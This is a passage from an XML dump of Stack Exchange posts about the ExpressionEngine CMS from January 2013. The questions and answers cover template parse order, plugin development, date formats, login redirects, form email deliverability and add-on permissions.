&quot;saturday&quot; OR &quot;sunday&quot; - however I'm not sure how we decide 'when' that's valid... ie it's saturday in the uk before it's saturday in the us!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or suggestions greatly appreciated &lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2013-01-24T14:05:57.410" Title="EE worldwide date and times for office opening hours" Tags="|date|time|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5337" PostTypeId="2" ParentId="5333" CreationDate="2013-01-24T10:34:17.160" Score="1" Body="&lt;p&gt;You should definitely create a module, or use an existing one. PHP in templates is &lt;strong&gt;always&lt;/strong&gt; a bad idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of plugins which let you make web service API calls, such as &lt;a href=&quot;http://devot-ee.com/add-ons/rest&quot; rel=&quot;nofollow&quot;&gt;Rest&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go the route of creating your own one, how you should start depends entirely on when you want these API calls to be made. If API calls should happen when entries are created/updated, or on some other event, then you probably want to look at making an &quot;Extension&quot;. This lets you run custom PHP code based on hooks in ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to call the API from your templates, you probably want to create a &quot;Plugin&quot;. This lets you create new tags to use in your templates. If you are using the API in your templates , then I assume you are displaying it to the users. In that case, you probably also want to look at caching the responses (either cache the raw response in your PHP code, or cache the resulting template using something like &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; or the built in EE template caching options).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-24T10:34:17.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5338" PostTypeId="2" ParentId="5336" CreationDate="2013-01-24T10:53:58.470" Score="0" Body="&lt;p&gt;I would probably use a custom plugin. Feed the datetimes (and timezone?) into the plugin with parameters (or as tags), and do the checking, math and calculations with PHP inside the plugin. That also leaves you the option for editors to more easily and comfortably enter office hours in their own timezone.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-01-24T10:53:58.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5339" PostTypeId="1" CreationDate="2013-01-24T11:27:52.147" Score="1" ViewCount="57" Body="&lt;p&gt;I want to restrict channel entries based on a pre_load variable, so I am doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:entry_id_list=&quot;{exp:myplugin:get_entries}&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;mychannel&quot; entry_id=&quot;{entry_id_list}&quot; limit=&quot;10&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't display any entries..however, the variable {entry_id_list} does have a value (1|2) that matches he entry id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I modify the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:entry_id_list=&quot;1|2&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it starts displaying those entries. So, is there a format difference in what the plugin function returns back to the template where function is called?&lt;/p&gt;&#xA;" OwnerUserId="887" LastActivityDate="2013-01-24T11:52:37.303" Title="Strange Pre_Load Behavior" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5340" PostTypeId="2" ParentId="2222" CreationDate="2013-01-24T11:30:33.857" Score="0" Body="&lt;p&gt;I can't say exactly how they do this but the problem was due to a unusual configuration from the Hoster to comply with German anti-spam legislation. The Solution was to use SMTP. I couldn't get any specifics from the Hoster to explain the symptoms.&lt;/p&gt;&#xA;" OwnerUserId="455" LastActivityDate="2013-01-24T11:30:33.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5341" PostTypeId="2" ParentId="5339" CreationDate="2013-01-24T11:52:37.303" Score="2" Body="&lt;p&gt;Parse order I would think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preload replace is assigned and parsed in the step before plugin tags.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Parse snippets / global variables, segment variables and embed variables *&#xA;Parse date string constants&#xA;Parse {template_edit_date} and {current_time}&#xA;If present, get cached template, then go to #7&lt;/li&gt;&#xA;&lt;li&gt;Parse PHP on Input&lt;/li&gt;&#xA;&lt;li&gt;Parse simple conditionals: segment, embed, global variables&lt;/li&gt;&#xA;&lt;li&gt;Assign and parse preload_replace variables&lt;/li&gt;&#xA;&lt;li&gt;Parse module and plugin tags&lt;/li&gt;&#xA;&lt;li&gt;Parse PHP on Output&#xA;Write cache ﬁle&lt;/li&gt;&#xA;&lt;li&gt;Parse advanced conditionals&lt;/li&gt;&#xA;&lt;li&gt;Process embedded templates&#xA;Redirect&lt;/li&gt;&#xA;&lt;li&gt;Parse User Deﬁned global variables and others&lt;/li&gt;&#xA;&lt;li&gt;Done&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(As provided by @low)&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-24T11:52:37.303" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5342" PostTypeId="2" ParentId="5331" CreationDate="2013-01-24T12:42:10.417" Score="6" Body="&lt;p&gt;When you pass an array of data on to a view file, the keys become the variable names in that view file. So...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'foo' =&amp;gt; 'bar',&#xA;    'lorem' =&amp;gt; 'ipsum'&#xA;);&#xA;&#xA;return $this-&amp;gt;EE-&amp;gt;load-&amp;gt;view('my_file', $data, TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will mean that in the &lt;code&gt;my_file&lt;/code&gt; view file you can then use the variables &lt;code&gt;$foo&lt;/code&gt; and &lt;code&gt;$lorem&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, that would mean you can use &lt;code&gt;$usd&lt;/code&gt;, &lt;code&gt;$eur&lt;/code&gt; and &lt;code&gt;$gbp&lt;/code&gt;. That might not be too useful, so I'd pass on those in their own array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'currencies' =&amp;gt; array(&#xA;        &quot;usd&quot; =&amp;gt; $query-&amp;gt;row('usd'),&#xA;        &quot;eur&quot; =&amp;gt; $query-&amp;gt;row('eur'),&#xA;        &quot;gbp&quot; =&amp;gt; $query-&amp;gt;row('gbp')&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and in your view file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($currencies AS $key =&amp;gt; $val)&#xA;{&#xA;    form_input($key, set_value($key, $val), 'id=&quot;'.$key.'&quot;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-24T12:42:10.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5343" PostTypeId="2" ParentId="5315" CreationDate="2013-01-24T12:42:12.223" Score="0" Body="&lt;p&gt;The information Nate posted was quite helpful. Based on that and some reading on the link he posted, I was able to come up with the following, which I added to config.master.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    switch ($_SERVER['HTTP_HOST']) {&#xA;        case 'smb-staging.pb.com' :&#xA;            $base_url = $protocol . $_SERVER['HTTP_HOST'] . '/smb';&#xA;        break;&#xA;&#xA;        case 'smbdev.pb.com' :&#xA;            $base_url = $protocol . $_SERVER['HTTP_HOST'] . '/smb';&#xA;        break;&#xA;&#xA;        default :&#xA;            if (REQ == 'CP' || REQ == 'ACT' || AJAX_REQUEST)&#xA;            {&#xA;                $base_url = $protocol . 'smallbusiness.pb.com' . '/smb';&#xA;            } else {&#xA;                $base_url = $protocol . 'www.pb.com' . '/smb';&#xA;            }&#xA;        break;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2" LastActivityDate="2013-01-24T12:42:12.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5345" PostTypeId="1" CreationDate="2013-01-24T13:18:23.857" Score="6" ViewCount="1185" Body="&lt;p&gt;Ok, let say I have a channel entry that is dynamically being displayed on a page, and I also want to have an image displayed in that text as well, with the text nicely flowing around the image.  So far I've been able to put an image at the top by putting the image inside the P tag, and I can float it to get the text to wrap around it, but that only puts the image at the beginning or the end of the text, depending on where I place the image tag in relation to the EE tag that pulls in the channel content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to have a few paragraphs of text, and then an image floated nicely to the side with the text flowing around it, and then have more text after that. How would I do that?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, I know this can be done with a WYSIWYG editor, or by having the content administrator enter an image tag in the midst of the paragraph when they're actually writing the channel entry, but that's not what I'm looking for.  I have a file upload channel field that allows an image to be uploaded for that channel entry, and then the template dynamically pulls that image in if they uploaded one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can think of to do it would be to have multiple channel fields, and one field would be the portion of text before the image, and the other would be the portion of text after the image, but that feels like an ugly work-around to me.  I would think this would be something pretty standard, I just don't know how to do it.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-04-26T14:53:19.207" Title="how to dynamically insert image into dynamic text" Tags="|channel-entries|image|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5346" PostTypeId="1" AcceptedAnswerId="5359" CreationDate="2013-01-24T13:47:37.180" Score="2" ViewCount="239" Body="&lt;p&gt;We have a client in which we've set up Freeform Pro and have several forms. We've got the forms working properly, but all emails are getting directed to their Spam folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client is using Outlook, as part of the Office 365 package, and have whitelisted the email address that is sending the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to change the email address that Freeform is using to send these emails, or be able to mark the emails generated by Freeform not spam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version: 2.5.3&#xA;Freeform: 4.0.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="268" LastEditDate="2013-01-25T09:13:19.393" LastActivityDate="2013-01-25T09:13:19.393" Title="Freeform Pro and Whitelisting with Office 365" Tags="|add-on|solspace-freeform|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5347" PostTypeId="2" ParentId="5336" CreationDate="2013-01-24T13:55:38.547" Score="1" Body="&lt;p&gt;A plugin isn't a bad route to take, I would also take a peek at Moment.js (http://momentjs.com/).  They have a lot of &quot;time functionality&quot; built that you could probably harness.&lt;/p&gt;&#xA;" OwnerUserId="801" LastActivityDate="2013-01-24T13:55:38.547" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5349" PostTypeId="1" AcceptedAnswerId="5381" CreationDate="2013-01-24T14:02:25.813" Score="0" ViewCount="319" Body="&lt;p&gt;I have content in a Wygwam field. When I toggle to Source mode, I see numerous &lt;code&gt;&amp;amp;rsquo;&lt;/code&gt;, &lt;code&gt;&amp;amp;rdquo;&lt;/code&gt;, etc encoded characters. This is as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that content is output in my templates, using the Wygwam tag, and I view source in my browser, I see the rendered characters -- &lt;code&gt;’&lt;/code&gt; and &lt;code&gt;”&lt;/code&gt; -- not the encoded equivalents that were in the Source view in the Wygwam field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have verified that the &lt;code&gt;entities&lt;/code&gt; and &lt;code&gt;entities_processNumerical&lt;/code&gt; settings are both set to Yes in the editor configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I discovered this while working on a plugin. The same conversion is happening via the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata&lt;/code&gt; value. I'm loading this string into a DOMDocument to do some processing on it, and the rendered characters are breaking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should the output data look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE: v2.5.5 - Build Date: 20121220&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wygwam: 2.6.3&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-24T20:46:34.077" Title="Character entity output in Wygwam" Tags="|wygwam|character-encoding|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5350" PostTypeId="2" ParentId="5336" CreationDate="2013-01-24T14:05:57.410" Score="0" Body="&lt;p&gt;via &lt;a href=&quot;https://www.facebook.com/gordon.abbotts&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; dude on Facebook:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How about changing your american hours before you test them time (americantime) - (time difference) &amp;lt; opening_time sort of thing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="389" LastActivityDate="2013-01-24T14:05:57.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5351" PostTypeId="1" AcceptedAnswerId="5353" CreationDate="2013-01-24T14:29:27.527" Score="2" ViewCount="372" Body="&lt;p&gt;I'm building a page with the twitter bootstrap at the moment and in particular am using the &lt;a href=&quot;http://www.eyecon.ro/bootstrap-datepicker/&quot; rel=&quot;nofollow&quot;&gt;bootstrap datepicker&lt;/a&gt; to give users a particularly nice UI for selecting an entry date for their channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, SafeCracker keeps telling me that the format of the date is incorrect - What dateformat should I be supplying? I've tried DD/MM/YY, MM/DD/YY, YYYY-MM-DD and none of them work. Do I need to supply a time as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to have to supply a time, since it's irrelevant for this purpose - but even putting into the formatting a default time (so using format dd/mm/yy 00:00), but this doesn't work either).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone offer an insight?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-04T19:05:04.817" Title="entry_date format on SafeCracker" Tags="|safecracker|saef|datetime|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5352" PostTypeId="2" ParentId="5351" CreationDate="2013-01-24T14:34:07.010" Score="3" Body="&lt;p&gt;Safecracker actually wants it like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;YYYY-MM-DD 00:00 AM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: 2013-01-04 01:31 PM&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-01-24T14:34:07.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5353" PostTypeId="2" ParentId="5351" CreationDate="2013-01-24T14:35:12.103" Score="4" Body="&lt;p&gt;EE requires the date format &lt;code&gt;yyyy-mm-dd hh:mm AM/PM&lt;/code&gt; for the Entry Date. I know with jQuery's date picker you can make the submitted format different from the displayed format, but it doesn't look like the Bootstrap date picker has that option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One option would be to use an &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;EEvent Helper&lt;/a&gt; date field, which omits the time requirement, and then set it to auto-populate the Entry Date in the EEvent Helper settings.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-24T14:35:12.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5355" PostTypeId="1" AcceptedAnswerId="5356" CreationDate="2013-01-24T15:35:28.807" Score="2" ViewCount="325" Body="&lt;p&gt;I have a log-in page that needs to direct users to content based on their member group. Currently it is very simple with just two pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried it using the single option and it directs correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:member:login_form return=&quot;member-area/&quot; }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, if I introduce a conditional into the mix, it does not redirect correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form {if member_group == &quot;5&quot;} return=&quot;member-area/&quot; {/if} {if member_group == &quot;1&quot; || member_group == &quot;6&quot; || member_group == &quot;7&quot; || member_group == &quot;8&quot;} return=&quot;internal-staff-center/&quot; {/if} }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect I have overlooked something. I would appreciate any assistance in getting this correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forrest&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-01-24T22:01:35.783" Title="How do I redirect users to group-specific pages on login?" Tags="|conditionals|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5356" PostTypeId="2" ParentId="5355" CreationDate="2013-01-24T15:53:06.017" Score="4" Body="&lt;p&gt;What if you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;member-redirect/&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in the &lt;code&gt;member-redirect&lt;/code&gt; template you have your conditionals:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if member_group == &quot;5&quot;} {redirect=&quot;member-area/&quot;} {/if} {if member_group == &quot;1&quot; || member_group == &quot;6&quot; || member_group == &quot;7&quot; || member_group == &quot;8&quot;} {redirect=&quot;internal-staff-center/&quot;} {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You don't actually have access to your member_group variable when you set up the login form. You haven't logged the user in yet.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-01-24T19:57:56.887" LastActivityDate="2013-01-24T19:57:56.887" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5357" PostTypeId="2" ParentId="5345" CreationDate="2013-01-24T15:53:58.343" Score="0" Body="&lt;p&gt;I've done what you're looking for before with Matrix. One field, with, for example, a column for image, image caption/description and &quot;body paragraph&quot;.  Basically you just instruct the admin to create a new row each time a new image is being inserted into the body flow.  The main complicating factors are that you really should clear floats after each row when rendered on the front end - which doesn't always look pixel-perfect but does prevent your floated images from banging into each other.  I have a couple of clients for whom this was the preferred approach. In my case I added a couple other columns that related to the image position (such as left vs right, for example).  Perhaps not quite as elegant a solution as you were looking for, but it's less ugly than a bunch of separate custom fields and allows you the same separation of markup from content that you're aiming for.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-01-24T15:53:58.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5358" PostTypeId="2" ParentId="5345" CreationDate="2013-01-24T15:56:59.883" Score="0" Body="&lt;p&gt;You could whip up a plugin to process the content tag's output and swap the image with a custom &quot;tag&quot; you've embedded in your content. It's basically a find &amp;amp; replace. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:swapimage img='/path/to/img.jpg'}{content_field}{/exp:swapimage}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your content you could have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;Some text...&amp;lt;/p&amp;gt;&amp;lt;swapimage/&amp;gt;&amp;lt;p&amp;gt;Some more text...&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;code&gt;article&lt;/code&gt; method in this plugin I've been working on this week. It has some replace functions that will show you how to do the swap in a plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Clearbold/ee-toc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Clearbold/ee-toc&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2013-01-24T15:56:59.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5359" PostTypeId="2" ParentId="5346" CreationDate="2013-01-24T16:15:52.990" Score="0" Body="&lt;p&gt;It's possible the addon is using the email address set on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/email_configuration.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Email Configuration page&lt;/strong&gt;&lt;/a&gt; in the CP as the from address. If it matches the from address you are seeing, change it and retest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whitelisting the email address is what should stop Outlook from marking as spam. If the emails continue to be marked as spam, I'd say it's not being whitelisted correctly.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-24T16:15:52.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5360" PostTypeId="2" ParentId="5346" CreationDate="2013-01-24T16:18:20.163" Score="1" Body="&lt;p&gt;You have full control over the &quot;from&quot; address in Freeform's &lt;a href=&quot;http://www.solspace.com/docs/freeform/control_panel/#notifications&quot; rel=&quot;nofollow&quot;&gt;notification settings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might want to do is set a &quot;reply-to&quot; address as well. Set the &quot;From&quot; address to a known, whitelisted address that your mail server will accept, and then use the submitter's email as the &quot;reply-to&quot; address. This lets the received directly reply to the form sender, while allowing the message to be properly received by your server.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-24T16:18:20.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5361" PostTypeId="2" ParentId="5345" CreationDate="2013-01-24T16:26:09.617" Score="8" Body="&lt;p&gt;You can use jQuery with &lt;a href=&quot;http://api.jquery.com/insertBefore/&quot;&gt;&lt;strong&gt;.insertBefore()&lt;/strong&gt;&lt;/a&gt; or &lt;a href=&quot;http://api.jquery.com/insertAfter/&quot;&gt;&lt;strong&gt;.insertAfter()&lt;/strong&gt;&lt;/a&gt; to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to insert the image after the first paragraph, use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;article&quot;&amp;gt;&#xA;    {article}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;$('{custom_image_field}').insertAfter('.article p:first-child');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want it elsewhere, just adjust your selector (ie: '.article p:first-child').&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-24T16:26:09.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5362" PostTypeId="1" AcceptedAnswerId="5363" CreationDate="2013-01-24T16:30:10.040" Score="0" ViewCount="185" Body="&lt;p&gt;I usually use Low Variables or Stash for this, but thought I would toss this one out there anyway to see if I have just been over complicating my templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template that pulls in an entry. The entry will have a category assigned to it. This entry also has another section using the same category group. I need to embed a template that displays a list of all the titles in that section with that category. My problem is trying to nest that category id in the embed without using a plug-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in my template, I have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;whatever&quot; limit=&quot;1&quot; status=&quot;not closed&quot;}&#xA;&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to embed a template inside that. I have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;total/product_list&quot; cat=&quot;{category_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;total/product_list&quot; cat=&quot;{categories}{category_id}{/categories}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {embed=&quot;total/product_list&quot; cat=&quot;{category_id}&quot;}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know parsing order has me in a conundrum. like I said, I just thought I would see what solutions were out there. I'm always open to an education.  ;)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-01-24T16:35:41.657" Title="EE1 - Include entry category ID in an embed" Tags="|categories|ee1|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5363" PostTypeId="2" ParentId="5362" CreationDate="2013-01-24T16:35:41.657" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;{embed=&quot;total/product_list&quot; cat=&quot;{categories}{category_id}{/categories}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's the one. Embeds run dead last in parse order, so there should be no issue there. Just make sure that you then use &lt;code&gt;category=&quot;{embed:cat}&quot;&lt;/code&gt; in your embedded template.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-24T16:35:41.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5364" PostTypeId="1" AcceptedAnswerId="5418" CreationDate="2013-01-24T16:44:33.667" Score="1" ViewCount="129" Body="&lt;p&gt;Running CT v2.2.4 at the moment and having troubles adding columns to the fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs show an inventory column, but I can't see how to add that. Docs are spotty at best.&#xA;&lt;a href=&quot;http://cartthrob.com/docs/fieldtypes/price_modifiers_configurator/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/fieldtypes/price_modifiers_configurator/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the add column, it adds the column to top portion of field, and I can type in it, then on entry save, column is lost.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="268" LastEditDate="2013-01-25T09:18:21.707" LastActivityDate="2013-01-25T22:55:16.103" Title="CartThrob Price Modifier Configurator add column not working" Tags="|add-on|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5365" PostTypeId="1" AcceptedAnswerId="5366" CreationDate="2013-01-24T16:55:33.927" Score="3" ViewCount="1035" Body="&lt;p&gt;I recently installed '&lt;a href=&quot;http://pixelandtonic.com/assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assets&lt;/a&gt;' by Pixel &amp;amp; Tonic for a client that has multiple member groups with access to the control panel. Each member group has varying permissions level. The install went fine, but as I was writing up the instructions for one of the members group, I switch my control panel access to a user within that group, 'writers' and notice that none of the images display in the Assets field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the field, a mini-photo-gallery, viewed as a super-admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kzu4n.png&quot; alt=&quot;Assets SuperAdmin View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same field, same record, viewed as a writer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gd45K.png&quot; alt=&quot;Assets Writer&amp;#39;s View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've adjusted the setting under the 'Writers' group, so that they now have access to the Assets Module (which I'm not certain is required), but they still can't view the added images, except on the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be directly related to permissions, but I can't seem to find what permissions are stopping a writer from viewing content that's obviously in the record. Especially, when they can add new items to the record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, where should I go to look for other permissions that maybe interfering with the display of the images? We need all the groups that have access to the field_type, to be able to see what data has already been added to it, so that they don't re-add or can just verify that the correct photos have been added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not had to deal with this in other installs of Assets, because generally there is just SuperAdmins and one member group level, like 'staff' who have access to the control panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; The site is running ExpressionEngine 2.5.3, Build Date: 20120911 and Assets 1.2.2.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-24T22:43:05.963" LastActivityDate="2013-01-29T22:46:20.200" Title="Assets and Member Group Permissions" Tags="|assets|permissions|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
